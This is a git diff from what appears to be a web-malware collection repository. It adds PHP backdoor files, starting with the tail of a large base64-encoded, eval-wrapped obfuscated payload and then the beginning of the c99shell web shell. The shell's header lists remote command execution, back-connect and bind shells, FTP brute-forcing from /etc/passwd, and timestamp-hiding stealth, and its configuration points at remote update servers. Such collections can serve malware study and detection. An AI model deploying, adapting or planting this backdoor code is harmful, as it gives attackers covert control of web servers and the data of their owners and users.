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'))); +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/c99shell.php b/web-malware-collection-master/Backdoors/PHP/c99shell.php new file mode 100755 index 0000000..90edd91 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c99shell.php @@ -0,0 +1,3076 @@ +<?php +/* +****************************************************************************************************** +* +* c99shell.php v.1.0 pre-release build #9 +* Freeware license. +* � CCTeaM. +* c99shell - ????-???????? ????? www-???????, "?????????" ??? ??????. +* ?? ?????? ????????? ??????? ????????? ?????? ?? ???????? ????????? ????????: + http://ccteam.ru/releases/c99shell +* +* WEB: http://ccteam.ru +* ICQ UIN #: 656555 +* +* ???????????: +* + ?????????? ?????????? ? ?????????? (ftp, samba) ???????/???????, ?????????? +* ??????????? ?????????? ?????? ? ????? +* (?????????????? ?????????????/??????????????? ????? tar) +* ??????????? ????? (???????? ?????? ??????) +* modify-time ? access-time ? ?????? ?? ???????? ??? ?????????????? (????./???. ?????????? $filestealth) +* + ??????????? SQL-???????? ?? ?????????? phpmyadmin, + ????????/????????/?????????????? ??/??????, ???????? ?????? ????? ????? ? mysql +* + ?????????? ?????????? +* + ??????? ?????????? shell-?????? (????? ???????, ????? ?????????????) +* + ?????????? ????????????? PHP-???? +* + ?????????? ?????? ????? md5, unix-md5, sha1, crc32, base64 +* + ??????? ????????? ?????? ???????????? ?? +* + ??????? ftp-???????????? ?? ?????? login;login ?? /etc/passwd (?????? ???? ?????? ? 1/100 ?????????) +* ???????????? ?????, ??????????, ????????? ???????? ??? ??/?????????, ?????????? ?????????? SQL) +* + ?????? "?????" include: ????????????? ???? ?????????? ? ????????????? ? ????????? ?? ? ?????? (?????????) + ????? ????? ???????? $surl (??????? ??????) ??? ????? ???????????? (?????????????) ??? ? ????? cookie "c99sh_surl", + ???? ????-?????? ???????? $set_surl ? cookie "set_surl" +* + ??????????? "?????????" /bin/bash ?? ???????????? ???? ? ???????????? ???????, +* ??? ??????? back connect (???????????? ???????????? ??????????, ? ????????? ????????? ??? ??????? NetCat). +* + ??????????? ???????? ????-???????? ??????? +* + ????????????????? ???????? ????????? ? ???????????? ? ?????????? ?????? (????? mail()) +* +* ???????? ?????? ?? ?????? ?????? ????????????. +* +* ????????? ?????????: +* ~ ???????? sql-????????? +* ~ ?????????? ??????????? ?????????? ?????? +* +* ~-~ ?????? ??? ???? ???????? ????????????, ???????? ?????????? ? ?????????? (???? ? ????? ??????????????!) + ? ICQ UIN #656555 ???? ????? ?????? "feedback", ????? ??????????? ??? ??????????? ? ?????????. +* +* Last modify: 17.07.2005 +* +* � Captain Crunch Security TeaM. Coded by tristram +* +****************************************************************************************************** +*/ +//Starting calls +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +@ignore_user_abort(true); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0 pre-release build #9"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +$login = ""; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = ""; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +if (stristr($_SERVER["GATEWAY_INTERFACE"],"cgi")) {$login = "";} // If CGI then turn off auth. + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied"; + +$gzipencode = true; //Encode with gzip? + +$updatenow = false; //If true, update now (this variable will be false) + +$c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server +$c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server + +$filestealth = true; //if true, don't change modify- and access-time + +$donated_html = "<center><b>Owned by hacker</b></center>"; + /* If you publish free shell and you wish + add link to your site or any other information, + put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = true; //If true then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + 